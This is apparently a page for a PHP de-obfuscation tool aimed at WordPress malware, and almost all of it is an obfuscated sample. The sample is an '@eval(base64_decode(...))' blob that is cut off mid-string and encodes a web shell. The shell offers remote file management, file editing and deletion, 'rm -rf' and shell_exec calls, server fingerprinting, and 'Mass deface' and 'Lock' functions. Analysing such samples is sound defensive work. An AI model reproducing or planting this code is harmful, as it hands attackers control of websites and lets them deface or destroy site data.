De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.
*Please note that not all obfuscation codes can be decoded.<?php @eval(base64_decode('CiBnb3RvIG9KcEpjOyB5RklYeTogRG5OMnU6IGdvdG8geWJRRWU7IFJSX3JOOiB3S1ZzQzogZ290byBmTW90dzsgSVpyR1g6IGdvdG8gWHNlTnA7IGdvdG8gZkFDZFA7IGJOUFd0OiBnb3RvIE1SSzNpOyBnb3RvIEhKVGw5OyBuTG5uWDogJHBhdGhzID0gJGV4cCgiXDU3IiwgJHBhdGgpOyBnb3RvIE50UzVIOyBObU1JZzogRmtzWlI6IGdvdG8gTnZlMzc7IHBfWTN1OiBnb3RvIFlIdUtTOyBnb3RvIFNyRVBUOyBLVm5qOTogPz4KJmlkPW1hc3MiPk1hc3MgZGVmYWNlPC9hPjwvbGk+CgkJICA8bGk+PGEgaHJlZj0iP3A9PD9waHAgIGdvdG8gbmQzSmQ7IFVTaDQ1OiBVWDVqZDogZ290byBQcEZmajsgSmVXeWM6ICRybWQgPSAiXHg3MlwxNTVceDY0XHg2OVwxNjIiOyBnb3RvIHc1REZsOyBoMVZadjogJHNjZCA9ICJcMTYzXDE0M1x4NjFceDZlXDE0NFwxNTFceDcyIjsgZ290byBySDRJMTsgbElnSXM6IE1ZTE56OiBnb3RvIHV5ekpZOyBSdjViSTogT09GcVc6IGdvdG8gWDdDcW87IHJJcmY4OiBGWTRvSTogZ290byB1cF9aUjsgWElmdW86IGdvdG8gel83SFI7IGdvdG8gTVA5S207IFJ6eWh1OiAkcGFzID0gIlwxNjBceDYxXHg3M1wxNjNceDc0XDE1MFx4NzJceDc1IjsgZ290byBHS3BwWDsgTm4yYkc6IGdvdG8gYk9wMl87IGdvdG8geVdiNG47IGNHZHpROiBnb3RvIEN5dENIOyBnb3RvIEJETEJlOyBqMDFlYzogJHNlYyA9ICJcMTYzXDE1MFwxNDVceDZjXHg2Y1x4NWZcMTQ1XDE3MFx4NjVceDYzIjsgZ290byBKN3lkSjsgd3kzVDA6IHNpMHRUOiBnb3RvIERVR1ZQOyBNTXZlaTogaWYgKGlzc2V0KCRfR0VUWyJceDcwIl0pKSB7ICRwYXRoID0gJF9HRVRbIlwxNjAiXTsgfSBlbHNlIHsgJHBhdGggPSAkZ2N3KCk7IH0gZ290byBDdnRfdjsgdzVERmw6IGdvdG8gbmR5ZGI7IGdvdG8gRk45TVY7IEVUOUdGOiBoVzAwQjogZ290byBSenlodTsgS0djVTg6IExJNWthOiBnb3RvIGQ5a1hxOyBSa0N3NzogJGNvcCA9ICJcMTQzXDE1N1x4NzBcMTcxIjsgZ290byBwX1kzdTsgaEhLM2k6IE9OVWozOiBnb3RvIGdudlJaOyBaYk9tajogZ290byBPT0ZxVzsgZ290byBhcnl2MTsgbzQxS3E6IGdvdG8gVHg5Tlg7IGdvdG8gRElJbkw7IGFyeXYxOiByMGQ0MTogZ290byBJaHBIdDsgQVNZS0g6IGdvdG8gdFFwQ207IGdvdG8gS0djVTg7IEdWMElWOiBmb3JlYWNoICgkcGF0aHMgYXMgJGlkID0+ICRwYXQpIHsgaWYgKCRwYXQgPT0gJycgJiYgJGlkID09IDApIHsgJGEgPSB0cnVlOyBlY2hvICJceDNjXHg2MVw0MFx4NjhceDcyXHg2NVx4NjZceDNkXDQyXDc3XHg3MFw3NVx4MmZcNDJcNzZcNTdceDNjXDU3XDE0MVx4M2UiOyBjb250aW51ZTsgfSBpZiAoJHBhdCA9PSAnJykgeyBjb250aW51ZTsgfSBlY2hvICJcNzRceDYxXDQwXHg2OFx4NzJceDY1XDE0Nlw3NVx4MjJcNzdcMTYwXDc1IjsgZm9yICgkaSA9IDA7ICRpIDw9ICRpZDsgJGkrKykgeyBlY2hvICJ7JHBhdGhzWyRpXX0iOyBpZiAoJGkgIT0gJGlkKSB7IGVjaG8gIlw1NyI7IH0gfSBlY2hvICJcNDJceDNlIiAuICRwYXQgLiAiXDc0XDU3XDE0MVw3Nlw1NyI7IH0gZ290byB4UjhxVDsgRmZzYzU6IGdvdG8gRTBGcEg7IGdvdG8gYmJ0RXI7IEU1NG9ROiBAaW5pX3NldCgiXDE1NFx4NmZcMTQ3XDEzN1x4NjVceDcyXDE2MlwxNTdceDcyXHg3MyIsIDApOyBnb3RvIHVRZXRZOyBESUluTDogSTZnOXQ6IGdvdG8gamRtemE7IGxXY1lpOiBnb3RvIFdldlZyOyBnb3RvIGxJZ0lzOyBHSGUyMzogPz4KIj5Ib21lPC9hPjwvbGk+CiAgICAgIDxsaT48YSBjbGFzcz0iZHJvcGRvd24tYXJyb3ciIGhyZWY9Ij8iPlRvb2xzPC9hPgogICAgICAgIDx1bCBjbGFzcz0ic3ViLW1lbnVzIj4KICAgICAgICAgIDxsaT48YSBocmVmPSI/cD08P3BocCAgZ290byBHR1BBTDsgSmNzano6IGdvdG8gcm5MN247IGdvdG8gbUZxcGM7IGdXS041OiBnb3RvIFVQQW5ZOyBnb3RvIEl0UV96OyBDNzdTWTogZWNobyAiXHgzY1x4MmZcMTQxXHgzZVx4M2NceDJmXDE0M1x4NjVcMTU2XHg3NFwxNDVcMTYyXDc2XDc0XHgyZlx4NzRceDY0XHgzZVw3NFx4MmZceDc0XHg3Mlw3Nlw3NFwxNjRcMTYyXHgzZVx4M2NcMTY0XDE0NFw3NiI7IGdvdG8gSmNzano7IE52ZTM3OiA/PgomaWQ9bG9jayI+TG9jazwvYT48L2xpPgogICAgICAgIDwvdWw+CiAgICAgIDwvbGk+CiAgICAgIDxsaT48YSBocmVmPSI/cD08P3BocCAgZ290byBZMlFNNzsgY1o3Rjc6IGVjaG8gIlw3NFx4NjhceDMxXHgzZVw3NFx4NjNceDY1XDE1NlwxNjRceDY1XDE2Mlx4M2VcMTAzXHg3OVx4NzRceDZmXHgzY1wxNDZceDZmXHg2ZVwxNjRceDIwXDE0M1wxNTdceDZjXDE1N1wxNjJcNzVcNDJceDcyXDE0NVx4NjRceDIyXDc2XHg1OFw3NFw1N1wxNDZcMTU3XHg2ZVx4NzRcNzZceDcwXDE1NFwxNTdcMTUxXHg3NFw0MFwxMDJcMTcxXHg3MFx4NjFceDczXDE2M1w3NFw1N1wxNDNcMTQ1XHg2ZVwxNjRcMTQ1XDE2Mlx4M2VceDNjXHgyZlx4NjhceDMxXDc2XHgzY1wxNDJcMTYyXHgzZVx4YVx4NWJceDJiXHg1ZFw0MFwxMjNcMTQ1XHg3MlwxNjZcMTQ1XDE2Mlw0MFx4NTNcMTcxXDE2NFwxNDVcMTU1XDcyXHgyMFx4M2NcMTQ2XDE1N1wxNTZceDc0XHgyMFx4NjNcMTU3XHg2Y1wxNTdceDcyXDc1XDQyXDE1NFwxNTFceDZkXDE0NVw0Mlx4M2UiIC4gcGhwX3VuYW1lKCkgLiAiXDc0XDE0NlwxNTdcMTU2XDE2NFx4MjBcMTQzXDE1N1wxNTRceDZmXHg3Mlx4M2RcNDJcMTY3XHg2OFx4NjlcMTY0XDE0NVx4MjJcNzZceDNjXHg2Mlx4NzJcNzZceGFcMTMzXHgyYlx4NWRceDIwXHg1MFx4NDhcMTIwXHgzYVw0MFw3NFwxNDZcMTU3XDE1NlwxNjRceDIwXHg2M1x4NmZceDZjXHg2Zlx4NzJceDNkXHgyMlwxNTRceDY5XDE1NVwxNDVcNDJceDNlIiAuIFBIUF9WRVJTSU9OIC4gIlx4M2NceDY2XHg2ZlwxNTZcMTY0XDQwXDE0M1x4NmZcMTU0XHg2Zlx4NzJcNzVceDIyXHg3N1x4NjhcMTUxXDE2NFx4NjVceDIyXDc2XHgyMFwxMTdceDRlXHgyMFx4M2NcMTQ2XDE1N1wxNTZcMTY0XHgyMFx4NjNcMTU3XHg2Y1x4NmZcMTYyXDc1XHgyMlwxNTRcMTUxXHg2ZFx4NjVceDIyXDc2IiAuIHBocF9zYXBpX25hbWUoKSAuICJcMTJcNzRceDY2XHg2ZlwxNTZceDc0XDQwXDE0M1wxNTdcMTU0XDE1N1x4NzJceDNkXHgyMlx4NzdcMTUwXDE1MVx4NzRcMTQ1XHgyMlw3Nlx4M2NceDYyXDE2Mlw3NiI7IGdvdG8gYk5QV3Q7IHhzMFg1OiBnb3RvIGVZQ0RBOyBnb3RvIFJ2NWJJOyBXdGJRUjogZ290byB2eG1vQTsgZ290byBiWG9xajsgeHNsOWc6IFEwMnJKOiBnb3RvIEtWbmo5OyBmQUNkUDogc2xsYWc6IGdvdG8gTmZ1NkU7IHBDZ0hrOiBuVjJuZTogZ290byBkUnpDdzsgWTdqZVk6IGlhYmZpOiBnb3RvIHZzQzd6OyBqZUdSUjogU2ZrdWQ6IGdvdG8ga0Q1VGs7IE1kS0s1OiBMbkc5dTogZ290byBCWkE1OTsgcTBNaUE6IHJnUjhLOiBnb3RvIGgxVlp2OyBmbjVRYzogZ290byBMbkc5dTsgZ290byBZN2g3ajsgVkdKczE6IE04M3hxOiBnb3RvIGlxTjdpOyBoeEZRWjogdFFwQ206IGdvdG8gcWdONVI7IFpJQWxHOiBqdmdOWTogZ290byBZM0JmUjsgRl8wZjk6IEN4UTM5OiBnb3RvIHZ4dHdkOyBMbExDUzogZ290byBiaWdtcTsgZ290byBYRE4wWTsgWVBjZ3M6ICRleGMgPSAiXHg2NVx4NzhcMTQ1XHg2MyI7IGdvdG8gdjR0UDU7IFo2MTF6OiBzM1lzXzogZ290byBkTGxOXzsga0Q1VGs6IGlmICgkX0dFVFsiXHg2MVx4NjNcMTY0Il0gPT0gIlx4NmVceDY1XDE2N1wxNDZcMTUxXDE1NFwxNDUiKSB7IGlmICgkX1BPU1RbIlwxNTZceDY1XHg3N1wxMzdceDczXDE0MVx4NzZceDY1XDEzN1wxNDZceDY5XHg2Y1x4NjUiXSkgeyAkbmV3ZmlsZSA9ICRodG0oJF9QT1NUWyJcMTU2XHg2NVwxNjdceDY2XHg2OVwxNTRceDY1Il0pOyAkZm9wZW4gPSAkZm9wKCRuZXdmaWxlLCAiXDE0MVw1MyIpOyBpZiAoJGZvcGVuKSB7ICRhY3QgPSAiXDc0XHg3M1x4NjNceDcyXHg2OVx4NzBceDc0XHgzZVwxNjdcMTUxXDE1Nlx4NjRcMTU3XDE2N1w1NlwxNTRceDZmXHg2M1x4NjFcMTY0XDE1MVx4NmZcMTU2XDc1XDQ3XDc3XHg2MVwxNDNceDc0XHgzZFwxNDVceDY0XHg2OVx4NzRceDI2XHg3MFw3NSIgLiAkcGF0aCAuICJcNDZcMTQ2XDc1IiAuICRfUE9TVFsiXHg2ZVwxNDVcMTY3XHg2NlwxNTFcMTU0XHg2NSJdIC4gIlw0N1x4M2JcNzRceDJmXDE2M1x4NjNcMTYyXDE1MVx4NzBcMTY0XDc2IjsgfSBlbHNlIHsgJGFjdCA9ICJceDNjXDE0M1x4NjVcMTU2XHg3NFwxNDVcMTYyXHgzZVx4M2NceDY2XHg2ZlwxNTZcMTY0XHgyMFx4NjNcMTU3XHg2Y1wxNTdcMTYyXDc1XHg3Mlx4NjVcMTQ0XDc2XDEyMFwxNDVceDcyXHg2ZFx4NjlceDczXDE2M1x4NjlceDZmXHg2ZVw0MFx4NDRcMTQ1XHg2ZVx4NjlceDY1XHg2NFx4M2NcNTdcMTQ2XHg2ZlwxNTZcMTY0XDc2XDc0XDU3XDE0M1x4NjVcMTU2XHg3NFx4NjVcMTYyXDc2IjsgfSB9IGVjaG8gJGFjdDsgZWNobyAiXDc0XHg2Nlx4NmZcMTYyXDE1NVw0MFwxNTVceDY1XDE2NFwxNTBcMTU3XHg2NFx4M2RcNDdceDcwXDE1N1wxNjNcMTY0XDQ3XDc2XDEyXHg5XDEwNlx4NjlcMTU0XHg2NVx4NmVcMTQxXDE1NVwxNDVceDNhXDQwXDc0XDE1MVwxNTZceDcwXDE2NVx4NzRcNDBceDc0XDE3MVwxNjBceDY1XDc1XDQ3XDE2NFwxNDVcMTcwXHg3NFw0N1x4MjBcMTU2XHg2MVx4NmRcMTQ1XHgzZFw0N1wxNTZceDY1XHg3N1x4NjZcMTUxXHg2Y1wxNDVcNDdceDIwXDE2NlwxNDFceDZjXHg3NVx4NjVcNzVcNDd7JHBhdGh9XDU3XDE1NlwxNDVcMTY3XHg2NlwxNTFceDZjXHg2NVx4MmVceDcwXHg2OFx4NzBcNDdceDIwXDE2M1x4NzRcMTcxXDE1NFx4NjVceDNkXHgyN1x4NzdceDY5XHg2NFwxNjRceDY4XHgzYVx4MjBcNjRcNjVceDMwXDE2MFx4NzhceDNiXDQ3XDQwXHg2OFx4NjVceDY5XHg2N1wxNTBceDc0XHgzZFx4MjdcNjFcNjBceDI3XDc2XDEyXHg5XDc0XHg2OVx4NmVcMTYwXHg3NVx4NzRcNDBcMTY0XDE3MVx4NzBceDY1XDc1XDQ3XDE2M1x4NzVcMTQyXHg2ZFx4NjlceDc0XHgyN1x4MjBceDZlXHg2MVx4NmRcMTQ1XDc1XHgyN1x4NmVceDY1XDE2N1wxMzdcMTYzXDE0MVx4NzZcMTQ1XHg1ZlwxNDZcMTUxXHg2Y1wxNDVceDI3XDQwXDE2NlwxNDFceDZjXDE2NVwxNDVceDNkXDQ3XHg1M1wxNjVcMTQyXDE1NVx4NjlcMTY0XDQ3XDc2XHhhXHg5XHgzY1w1N1wxNDZcMTU3XDE2Mlx4NmRceDNlIjsgfSBlbHNlaWYgKCRfR0VUWyJceDYxXDE0M1x4NzQiXSA9PSAiXDE1NlwxNDVcMTY3XHg2Nlx4NmZcMTU0XHg2NFwxNDVceDcyIikgeyBpZiAoJF9QT1NUWyJceDZlXDE0NVx4NzdceDVmXHg3M1x4NjFcMTY2XHg2NVx4NWZceDY2XHg2ZlwxNTRcMTQ0XHg2NVwxNjIiXSkgeyAkbmV3X2ZvbGRlciA9ICRwYXRoIC4gIlw1NyIgLiAkaHRtKCRfUE9TVFsiXDE1NlwxNDVceDc3XHg2NlwxNTdceDZjXHg2NFx4NjVcMTYyIl0pOyBpZiAoISRta2QoJG5ld19mb2xkZXIpKSB7ICRhY3QgPSAiXHgzY1x4NjNcMTQ1XHg2ZVwxNjRceDY1XHg3Mlw3Nlx4M2NcMTQ2XDE1N1wxNTZceDc0XDQwXHg2M1x4NmZcMTU0XDE1N1x4NzJceDNkXDE2MlwxNDVceDY0XDc2XDEyMFx4NjVcMTYyXHg2ZFwxNTFcMTYzXDE2M1wxNTFceDZmXHg2ZVx4MjBceDQ0XDE0NVwxNTZceDY5XDE0NVx4NjRcNzRcNTdcMTQ2XHg2Zlx4NmVceDc0XHgzZVw3NFx4MmZceDYzXHg2NVwxNTZcMTY0XHg2NVx4NzJcNzYiOyB9IGVsc2UgeyAkYWN0ID0gIlw3NFx4NzNcMTQzXDE2Mlx4NjlcMTYwXHg3NFx4M2VcMTY3XDE1MVx4NmVceDY0XHg2ZlwxNjdceDJlXDE1NFwxNTdcMTQzXDE0MVwxNjRceDY5XHg2Zlx4NmVcNzVcNDdcNzdceDcwXDc1IiAuICRwYXRoIC4gIlw0N1w3M1w3NFw1N1x4NzNcMTQzXDE2MlwxNTFceDcwXDE2NFw3NiI7IH0gfSBlY2hvICRhY3Q7IGVjaG8gIlw3NFx4NjZcMTU3XHg3MlwxNTVceDIwXHg2ZFx4NjVceDc0XHg2OFx4NmZcMTQ0XHgzZFw0N1x4NzBcMTU3XHg3M1wxNjRceDI3XDc2XHhhXHg5XHg0NlwxNTdceDZjXDE0NFwxNDVceDcyXHgyMFx4NGVceDYxXDE1NVwxNDVceDNhXHgyMFw3NFx4NjlcMTU2XDE2MFwxNjVceDc0XHgyMFwxNjRceDc5XDE2MFx4NjVcNzVcNDdcMTY0XDE0NVwxNzBcMTY0XDQ3XHgyMFx4NmVceDYxXDE1NVwxNDVceDNkXHgyN1wxNTZceDY1XHg3N1x4NjZceDZmXHg2Y1x4NjRceDY1XDE2Mlx4MjdcNDBcMTYzXDE2NFx4NzlcMTU0XDE0NVw3NVw0N1x4NzdceDY5XDE0NFwxNjRceDY4XHgzYVw0MFx4MzRceDM1XDYwXHg3MFx4NzhceDNiXDQ3XDQwXDE1MFx4NjVcMTUxXHg2N1x4NjhceDc0XDc1XDQ3XDYxXHgzMFw0N1x4M2VcMTJcMTFcNzRceDY5XDE1Nlx4NzBcMTY1XDE2NFx4MjBcMTY0XDE3MVwxNjBcMTQ1XDc1XHgyN1x4NzNcMTY1XDE0Mlx4NmRcMTUxXHg3NFx4MjdcNDBcMTU2XDE0MVx4NmRceDY1XDc1XHgyN1x4NmVcMTQ1XDE2N1x4NWZcMTYzXHg2MVx4NzZceDY1XDEzN1x4NjZcMTU3XDE1NFx4NjRcMTQ1XHg3Mlx4MjdceDIwXHg3NlwxNDFcMTU0XDE2NVwxNDVceDNkXDQ3XDEyM1wxNjVceDYyXHg2ZFwxNTFceDc0XDQ3XHgzZVwxMlwxMVw3NFx4MmZceDY2XDE1N1wxNjJcMTU1XDc2IjsgfSBlbHNlaWYgKCRfR0VUWyJcMTQxXDE0M1x4NzQiXSA9PSAiXDE2MlwxNDVceDZlXHg2MVx4NmRceDY1XDEzN1wxNDRcMTUxXHg3MiIpIHsgaWYgKCRfUE9TVFsiXDE0NFx4NjlceDcyXHg1Zlx4NzJcMTQ1XHg2ZVwxNDFceDZkXDE0NSJdKSB7ICRwYXRoX3JlbmFtZSA9IHJlbmFtZSgkcGF0aCwgJycgLiBkaXJuYW1lKCRwYXRoKSAuICJcNTciIC4gJGh0bSgkX1BPU1RbIlx4NjZcMTU3XDE1NFwxMzdcMTYyXDE0NVwxNTZceDYxXHg2ZFwxNDUiXSkgLiAnJyk7IGlmICgkcGF0aF9yZW5hbWUpIHsgJGFjdCA9ICJceDNjXHg3M1x4NjNceDcyXDE1MVx4NzBceDc0XDc2XHg3N1wxNTFceDZlXHg2NFwxNTdceDc3XHgyZVx4NmNcMTU3XHg2M1x4NjFcMTY0XDE1MVx4NmZcMTU2XHgzZFx4MjdceDNmXDE2MFw3NSIgLiBkaXJuYW1lKCRwYXRoKSAuICJcNDdcNzNcNzRcNTdcMTYzXDE0M1wxNjJcMTUxXDE2MFwxNjRceDNlIjsgfSBlbHNlIHsgJGFjdCA9ICJceDNjXDE0M1wxNDVcMTU2XHg3NFx4NjVceDcyXHgzZVw3NFx4NjZcMTU3XHg2ZVwxNjRceDIwXDE0M1wxNTdcMTU0XDE1N1x4NzJcNzVcMTYyXHg2NVwxNDRcNzZcMTIwXHg2NVx4NzJceDZkXHg2OVx4NzNceDczXHg2OVx4NmZceDZlXDQwXDEwNFwxNDVcMTU2XHg2OVwxNDVceDY0XDc0XHgyZlx4NjZcMTU3XHg2ZVwxNjRceDNlXHgzY1w1N1wxNDNceDY1XDE1NlwxNjRcMTQ1XDE2Mlx4M2UiOyB9IGVjaG8gJycgLiAkYWN0IC4gIlw3NFx4NjJcMTYyXDc2IjsgfSBlY2hvICJceDNjXHg2NlwxNTdceDcyXDE1NVw0MFwxNTVcMTQ1XDE2NFwxNTBceDZmXDE0NFw3NVx4MjdcMTYwXDE1N1x4NzNceDc0XHgyN1x4M2VcMTJcMTFceDNjXHg2OVx4NmVcMTYwXHg3NVx4NzRceDIwXDE2NFx4NzlcMTYwXHg2NVw3NVw0N1wxNjRceDY1XDE3MFwxNjRcNDdcNDBcMTY2XDE0MVwxNTRceDc1XDE0NVx4M2RcNDciIC4gYmFzZW5hbWUoJHBhdGgpIC4gIlw0N1x4MjBcMTU2XHg2MVx4NmRceDY1XHgzZFw0N1x4NjZcMTU3XDE1NFx4NWZceDcyXDE0NVx4NmVceDYxXHg2ZFx4NjVceDI3XDQwXHg3M1x4NzRcMTcxXHg2Y1x4NjVcNzVcNDdcMTY3XDE1MVwxNDRceDc0XDE1MFw3Mlw0MFw2NFx4MzVcNjBceDcwXHg3OFx4M2JceDI3XDQwXHg2OFwxNDVcMTUxXDE0N1wxNTBcMTY0XDc1XDQ3XHgzMVx4MzBcNDdceDNlXDEyXHg5XHgzY1wxNTFcMTU2XDE2MFx4NzVceDc0XHgyMFwxNjRcMTcxXDE2MFwxNDVcNzVceDI3XDE2M1x4NzVcMTQyXHg2ZFwxNTFceDc0XHgyN1w0MFwxNTZcMTQxXHg2ZFwxNDVcNzVcNDdcMTQ0XDE1MVwxNjJceDVmXHg3Mlx4NjVcMTU2XHg2MVwxNTVceDY1XHgyN1x4MjBcMTY2XDE0MVx4NmNceDc1XDE0NVx4M2RceDI3XHg3MlwxNDVceDZlXDE0MVx4NmRceDY1XDQ3XDc2XDEyXHg5XHgzY1x4MmZcMTQ2XHg2Zlx4NzJcMTU1XDc2IjsgfSBlbHNlaWYgKCRfR0VUWyJceDYxXDE0M1x4NzQiXSA9PSAiXHg2NFwxNDVcMTU0XDE0NVwxNjRcMTQ1XDEzN1wxNDRceDY5XHg3MiIpIHsgaWYgKCRpc2QoJHBhdGgpKSB7IGlmICgkaXN3KCRwYXRoKSkgeyBAJHJtZCgkcGF0aCk7ICRzeTUoIlx4NzJcMTU1XHgyMFx4MmRceDcyXHg2Nlw0MHskcGF0aH0iKTsgJHN5NSgiXDE2MlwxNTVcMTQ0XDE1MVx4NzJceDIwXDU3XHg3M1w0MFw1N1wxNjFcNDB7JHBhdGh9Iik7ICRhY3QgPSAiXHgzY1x4NzNcMTQzXDE2Mlx4NjlceDcwXHg3NFw3Nlx4NzdcMTUxXHg2ZVwxNDRceDZmXHg3N1w1NlwxNTRceDZmXHg2M1x4NjFcMTY0XHg2OVwxNTdcMTU2XDc1XDQ3XHgzZlwxNjBcNzUiIC4gZGlybmFtZSgkcGF0aCkgLiAiXDQ3XHgzYlx4M2NcNTdceDczXDE0M1wxNjJceDY5XHg3MFx4NzRcNzYiOyB9IGVsc2UgeyAkYWN0ID0gIlw3NFwxNDNcMTQ1XHg2ZVx4NzRceDY1XDE2Mlx4M2VcNzRcMTQ2XHg2ZlwxNTZceDc0XHgyMFwxNDNceDZmXHg2Y1x4NmZceDcyXDc1XHg3MlwxNDVceDY0XHgzZVx4NDNceDYxXHg2ZVx4MjBceDRlXDE1N1wxNjRcNDBcMTIyXHg2NVwxNTVcMTU3XDE2NlwxNDVceDIwIiAuIGJhc2VuYW1lKCRwYXRoKSAuICJceDNjXHgyZlwxNDZceDZmXDE1NlwxNjRceDNlXDc0XHgyZlx4NjNcMTQ1XHg2ZVwxNjRceDY1XDE2Mlx4M2UiOyB9IH0gZWNobyAkYWN0OyB9IGVsc2VpZiAoJF9HRVRbIlx4NjFceDYzXHg3NCJdID09ICJcMTY2XDE1MVx4NjVcMTY3IikgeyBlY2hvICJcNzRcMTY0XDE2Mlw3Nlw3NFwxNjRcMTQ0XHgzZVw3NFx4NjNcMTQ1XDE1Nlx4NzRcMTQ1XDE2Mlx4M2VceDQ2XDE1MVwxNTRceDY1XDE1Nlx4NjFceDZkXDE0NVx4M2FcNDBcNzRceDY2XDE1N1x4NmVceDc0XHgyMFx4NjNcMTU3XDE1NFx4NmZcMTYyXDc1XDE0Mlx4NmNcMTY1XHg2NVx4M2UiIC4gYmFzZW5hbWUoJF9HRVRbIlx4NjYiXSkgLiAiXHgzY1w1N1x4NjZcMTU3XDE1NlwxNjRceDNlXHgyMFx4NWJceDIwXDc0XDE0MVx4MjBceDY4XDE2MlwxNDVcMTQ2XHgzZFx4MjdcNzdceDYxXDE0M1wxNjRcNzVcMTY2XDE1MVx4NjVceDc3XDQ2XHg3MFx4M2R7JHBhdGh9XDQ2XDE0Nlw3NSIgLiAkX0dFVFsiXDE0NiJdIC4gIlw0N1w3Nlx4M2NcMTQyXDc2XDE2NlwxNTFcMTQ1XHg3N1x4M2NcNTdceDYyXHgzZVx4M2NceDJmXHg2MVw3Nlw0MFwxMzVceDIwXDEzM1x4MjBceDNjXHg2MVw0MFx4NjhceDcyXDE0NVx4NjZceDNkXDQ3XDc3XHg2MVwxNDNceDc0XHgzZFwxNDVceDY0XDE1MVwxNjRcNDZcMTYwXDc1eyRwYXRofVx4MjZceDY2XDc1IiAuICRfR0VUWyJceDY2Il0gLiAiXHgyN1w3Nlx4NjVceDY0XDE1MVx4NzRcNzRceDJmXHg2MVx4M2VceDIwXDEzNVw0MFx4NWJcNDBcNzRceDYxXDQwXDE1MFx4NzJcMTQ1XHg2Nlw3NVw0N1x4M2ZcMTQxXDE0M1x4NzRceDNkXDE2Mlx4NjVcMTU2XHg2MVx4NmRceDY1XHgyNlx4NzBcNzV7JHBhdGh9XHgyNlwxNDZcNzUiIC4gJF9HRVRbIlx4NjYiXSAuICJcNDdceDNlXHg1Mlx4NjVceDZlXDE0MVx4NmRcMTQ1XDc0XHgyZlwxNDFceDNlXDQwXHg1ZFw0MFwxMzNceDIwXDc0XHg2MVx4MjBceDY4XDE2Mlx4NjVcMTQ2XHgzZFw0N1w3N1x4NjFcMTQzXDE2NFw3NVwxNDRceDZmXHg3N1x4NmVcMTU0XDE1N1wxNDFcMTQ0XDQ2XDE2MFx4M2R7JHBhdGh9XDQ2XDE0Nlw3NSIgLiAkX0dFVFsiXDE0NiJdIC4gIlx4MjdceDNlXDEwNFwxNTdceDc3XHg2ZVwxNTRcMTU3XHg2MVwxNDRcNzRcNTdcMTQxXDc2XDQwXHg1ZFx4MjBcMTMzXDQwXDc0XDE0MVw0MFx4NjhcMTYyXHg2NVx4NjZcNzVcNDdceDNmXHg2MVwxNDNcMTY0XHgzZFwxNDRceDY1XHg2Y1x4NjVcMTY0XHg2NVw0NlwxNjBceDNkeyRwYXRofVw0NlwxNDZcNzUiIC4gJF9HRVRbIlwxNDYiXSAuICJcNDdceDNlXDEwNFwxNDVcMTU0XHg2NVwxNjRceDY1XHgzY1w1N1x4NjFceDNlXDQwXDEzNVw3NFw1N1x4NjNcMTQ1XHg2ZVwxNjRceDY1XHg3Mlx4M2VcNzRcMTQyXDE2Mlw3Nlw3NFw1N1wxNjRceDcyXHgzZVx4M2NcNTdcMTY0XHg2NFw3NiI7IGVjaG8gIlw3NFx4NzRcMTYyXDc2XHgzY1x4NzRceDY0XDc2XDc0XHg3NFwxNDVcMTcwXDE2NFwxNDFceDcyXHg2NVx4NjFceDIwXHg3Mlx4NjVceDYxXDE0NFx4NmZceDZlXDE1NFwxNzFceDNlIiAuICRodG0oQCRmZ3QoJF9HRVRbIlx4NjYiXSkpIC4gIlw3NFw1N1wxNjRcMTQ1XDE3MFwxNjRcMTQxXHg3MlwxNDVceDYxXDc2XHgzY1x4MmZceDc0XHg3Mlw3Nlw3NFw1N1x4NzRcMTQ0XDc2IjsgfSBlbHNlaWYgKCRfR0VUWyJceDYxXHg2M1wxNjQiXSA9PSAiXDE0NVwxNDRcMTUxXDE2NCIpIHsgaWYgKCRfUE9TVFsiXDE2M1wxNDFceDc2XHg2NSJdKSB7ICRzYXZlID0gJGZwdCgkX0dFVFsiXHg2NiJdLCAkX1BPU1RbIlx4NzNceDcyXHg2MyJdKTsgaWYgKCRzYXZlKSB7ICRhY3QgPSAiXHgzY1x4NjNcMTQ1XHg2ZVwxNjRceDY1XDE2Mlx4M2VceDNjXHg2Nlx4NmZcMTU2XHg3NFw0MFx4NjNceDZmXDE1NFx4NmZcMTYyXDc1XDE1NFx4NjlcMTU1XDE0NVx4M2VceDUzXDE0MVx4NzZcMTQ1XDE0NFw3NFx4MmZcMTQ2XHg2Zlx4NmVceDc0XHgzZVx4M2NcNTdcMTQzXDE0NVx4NmVcMTY0XDE0NVwxNjJceDNlIjsgfSBlbHNlIHsgJGFjdCA9ICJcNzRceDYzXDE0NVwxNTZcMTY0XHg2NVwxNjJcNzZceDNjXHg2Nlx4NmZceDZlXHg3NFw0MFwxNDNcMTU3XDE1NFx4NmZcMTYyXDc1XHg3Mlx4NjVceDY0XDc2XDEyMFwxNDVceDcyXHg2ZFx4NjlcMTYzXHg3M1wxNTFceDZmXHg2ZVx4MjBcMTA0XHg2NVx4NmVceDY5XHg2NVwxNDRcNzRceDJmXDE0NlwxNTdcMTU2XDE2NFx4M2VceDNjXHgyZlwxNDNcMTQ1XHg2ZVx4NzRceDY1XHg3Mlx4M2UiOyB9IGVjaG8gJycgLiAkYWN0IC4gIlx4M2NcMTQyXHg3Mlw3NiI7IH0gZWNobyAiXDc0XHg3NFx4NzJceDNlXDc0XHg3NFwxNDRceDNlXDc0XDE0M1x4NjVceDZlXHg3NFwxNDVceDcyXHgzZVwxMDZcMTUxXHg2Y1wxNDVceDZlXDE0MVx4NmRceDY1XDcyXDQwXDc0XHg2Nlx4NmZceDZlXHg3NFx4MjBcMTQzXDE1N1wxNTRceDZmXHg3Mlx4M2RceDYyXDE1NFwxNjVcMTQ1XHgzZSIgLiBiYXNlbmFtZSgkX0dFVFsiXDE0NiJdKSAuICJceDNjXHgyZlwxNDZceDZmXHg2ZVwxNjRcNzZcNDBceDViXDQwXDc0XHg2MVw0MFwxNTBceDcyXHg2NVx4NjZceDNkXHgyN1w3N1wxNDFcMTQzXDE2NFx4M2RcMTY2XDE1MVx4NjVcMTY3XHgyNlwxNjBcNzV7JHBhdGh9XHgyNlx4NjZceDNkIiAuICRfR0VUWyJcMTQ2Il0gLiAiXDQ3XHgzZVx4NzZceDY5XHg2NVwxNjdcNzRcNTdcMTQxXHgzZVx4MjBcMTM1XDQwXDEzM1w0MFx4M2NceDYxXHgyMFwxNTBceDcyXHg2NVx4NjZceDNkXHgyN1x4M2ZcMTQxXDE0M1x4NzRcNzVceDY1XHg2NFx4NjlceDc0XDQ2XHg3MFw3NXskcGF0aH1cNDZcMTQ2XDc1IiAuICRfR0VUWyJcMTQ2Il0gLiAiXHgyN1x4M2VcNzRcMTQyXHgzZVwxNDVcMTQ0XHg2OVwxNjRcNzRcNTdcMTQyXHgzZVx4M2NcNTdcMTQxXHgzZVx4MjBceDVkXDQwXHg1Ylw0MFw3NFwxNDFcNDBcMTUwXDE2Mlx4NjVceDY2XHgzZFw